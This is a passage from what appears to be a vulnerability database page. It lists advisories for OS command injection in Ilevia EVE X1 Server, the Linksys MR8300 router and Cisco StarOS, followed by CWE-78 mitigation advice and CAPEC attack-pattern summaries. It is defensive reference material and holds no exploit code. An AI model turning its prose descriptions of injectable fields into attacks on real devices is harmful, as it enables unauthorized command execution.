  "details": "Ilevia EVE X1 Server firmware versions \u2264 4.7.18.0.eden contain authenticated OS command injection vulnerabilities in multiple web-accessible PHP scripts that call exec() and allow an authenticated attacker to execute arbitrary commands.\u00a0Ilevia has declined to service this vulnerability, and recommends that customers not expose port 8080 to the internet.",
  "id": "GHSA-vrhc-cgwx-m2qw",
  "modified": "2025-11-25T18:32:21Z",
  "published": "2025-10-16T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34514"
    },
    {
      "type": "WEB",
      "url": "https://www.ilevia.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ilevia-eve-x1-server-auth-command-injection"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5966.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VRHH-RGJG-MF4V

Vulnerability from github – Published: 2022-08-25 00:00 – Updated: 2022-08-29 20:06
VLAI
Details

Command injection vulnerability in Linksys MR8300 router while Registration to DDNS Service. By specifying username and password, an attacker connected to the router's web interface can execute arbitrary OS commands. The username and password fields are not sanitized correctly and are used as URL construction arguments, allowing URL redirection to an arbitrary server, downloading an arbitrary script file, and eventually executing the file in the device. This issue affects: Linksys MR8300 Router 1.0.

Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-38132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-24T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Command injection vulnerability in Linksys MR8300 router while Registration to DDNS Service. By specifying username and password, an attacker connected to the router\u0027s web interface can execute arbitrary OS commands. The username and password fields are not sanitized correctly and are used as URL construction arguments, allowing URL redirection to an arbitrary server, downloading an arbitrary script file, and eventually executing the file in the device. This issue affects: Linksys MR8300 Router 1.0.",
  "id": "GHSA-vrhh-rgjg-mf4v",
  "modified": "2022-08-29T20:06:49Z",
  "published": "2022-08-25T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38132"
    },
    {
      "type": "WEB",
      "url": "https://downloads.linksys.com/support/assets/releasenotes/MR8300_1.1.10.210186_Customer_ReleaseNotes.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRQ7-HQ3R-99CX

Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17
VLAI
Details

A vulnerability in the CLI of the Cisco StarOS operating system for Cisco ASR 5000 Series Aggregation Services Routers could allow an authenticated, local attacker to overwrite system files that are stored in the flash memory of an affected system. The vulnerability is due to insufficient validation of user-supplied input by the affected operating system. An attacker could exploit this vulnerability by injecting crafted command arguments into a vulnerable CLI command for the affected operating system. A successful exploit could allow the attacker to overwrite or modify arbitrary files that are stored in the flash memory of an affected system. To exploit this vulnerability, the attacker would need to authenticate to an affected system by using valid administrator credentials. Cisco Bug IDs: CSCvf93335.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2018-0122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-08T07:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the CLI of the Cisco StarOS operating system for Cisco ASR 5000 Series Aggregation Services Routers could allow an authenticated, local attacker to overwrite system files that are stored in the flash memory of an affected system. The vulnerability is due to insufficient validation of user-supplied input by the affected operating system. An attacker could exploit this vulnerability by injecting crafted command arguments into a vulnerable CLI command for the affected operating system. A successful exploit could allow the attacker to overwrite or modify arbitrary files that are stored in the flash memory of an affected system. To exploit this vulnerability, the attacker would need to authenticate to an affected system by using valid administrator credentials. Cisco Bug IDs: CSCvf93335.",
  "id": "GHSA-vrq7-hq3r-99cx",
  "modified": "2022-05-13T01:17:29Z",
  "published": "2022-05-13T01:17:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0122"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-asr"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103028"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040340"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

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